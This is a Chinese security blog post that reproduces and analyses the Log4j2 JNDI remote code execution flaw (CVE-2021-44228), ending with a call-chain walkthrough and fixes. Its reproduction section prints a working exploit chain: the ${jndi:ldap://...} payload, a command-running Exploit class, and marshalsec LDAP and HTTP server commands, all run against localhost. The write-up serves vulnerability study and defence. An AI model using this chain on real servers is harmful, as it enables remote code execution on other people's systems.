一、简介
最近闲来无事,在闲暇时间搭建环境复现并分析了经典Apache Log4j2 RCE 漏洞(CVE-2021-44228) ,有感兴趣的师傅们可以研究学习,共同成长进步。
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题,是目前最优秀的Java日志框架之一。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
该漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。
影响版本
Apache Log4j 2.x <= 2.14.1
二、漏洞环境搭建
先新建一个maven工程
点击Next
给工程随便起一个名字: Apache Log4j2-test
在生成的pom.xml文件中添加Apache Log4j依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>
然后重构maven工程
在src/main/java下新建咱们的测试文件
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;
public class log4j {
private static Logger LOG=LogManager.getLogger(Main.class);
public static void main(String[] args) {
LOG.error("${jndi:ldap://localhost:9394/Exploit}");
}
}
三、漏洞复现
新建一个攻击文件Exploit.java,文件内容如下:
import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
编译成class文件 : javac Exploit.java
网上有说漏洞能否复现成功和java版本有关系(复现环境的jdk版本最好<=8u191),建议先查看一下java版本8u301(不过照样复现成功^_^)
使用python起一个web服务
python3 -m http.server 8888
在有marshalsec-0.0.3-SNAPSHOT-all.jar的目录下执行以下命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 9394
运行log4j.java
成功弹出计算器
四、漏洞分析
漏洞的关键点在log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format
该函数会将收到的消息匹配以${开始}结尾中间的所有字符,调用一些允许范围内的语法
使用正向分析。先从咱们的入口进入
来到log4j-api-2.12.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.class#error,调用logIfEnabled方法,跟进如下图所示:
这里有一个判断,符合条件才能调用logMessage方法,就大致说一下结论吧:level<=200 就行
level对应表,使用ERROR,FATAL,OFF满足条件
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(2147483647);
如WARN、INFO、DEBUG、ALL,则无法触发该漏洞。也就是说,漏洞能否成功触发与设置的日志Level有关。
接下来就是一步步进入一系列函数
我们直接来到关键地方log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\Logger.class#logMessage,实例化一个DefaultReliabilityStrategy类,然后调用其log方法
先来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class#log,调用this.loggerConfig.log方法,this.loggerConfig为LoggerConfig
进入到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\LoggerConfig.class#log函数,先将咱们的LOG.error中的消息(data参数)和一些其他杂七杂八的配置整合到进logEvent,然后调用this.log方法
进入判断,这个不用管,默认会进入判断语句里面,可以看到此时我们的payload存放在messageFormat中
跟进到processLogEvent函数,还是默认
来到callAppenders,实例化一个AppenderControl类,然后调用其callAppender函数
跟进到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\AppenderControl.class#callAppender
还是常规的各种函数调用,一路都是跟着默认走
log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\appender\AbstractOutputStreamAppender.class#append
来到关键点之一log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class#toSerializable,跟进i参数依次调用对应的类的format方法。其中就有咱们漏洞的主人公MessagePatternConverter
8 = {PatternFormatter@1872} "org.apache.logging.log4j.core.pattern.PatternFormatter@752325ad[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@279fedbd, field=org.apache.logging.log4j.core.pattern.FormattingInfo@ba2f4ec[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true, zeroPad=false]]"
来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format,取出${}里面的内容然后调用
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
漏洞关键点二:参数是调用log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class#replace处理咱们的payload(event中messageFormat参数值)
在函数114行首先要判断noLookups这个变量的值,noLookups默认为false,意思为开启JNDI格式化功能,这也是为什么修复方法中有一条是设置log4j2.formatMsgNoLookups=True
返回值会调用this.substitute进行判断
StrSubstitutor.class#substitute的374行会调用resolveVariable函数
该函数先获取StrLookup类的VariableResolver初始化配置信息:{date, java, marker, ctx, jndi, main, jvmrunargs, sys, env, log4j}
然后调用resolver.lookup方法
有多种不同的lookup方法,跟进payload中指定的命令而定
当构造的event的prefix为jndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理,从而触发JNDI漏洞利用。
访问ldap指定的地址然后执行恶意类造成RCE
调用链如下:
<clinit>:11, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:334, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:233, PatternLayout (org.apache.logging.log4j.core.layout)
encode:218, PatternLayout (org.apache.logging.log4j.core.layout)
encode:58, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:464, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:448, LoggerConfig (org.apache.logging.log4j.core.config)
log:431, LoggerConfig (org.apache.logging.log4j.core.config)
log:406, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
tryLogMessage:2170, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2125, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2108, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2002, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1974, AbstractLogger (org.apache.logging.log4j.spi)
error:731, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4j
五、漏洞修复
(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True
(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
*该文章仅用于安全技术分享,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。*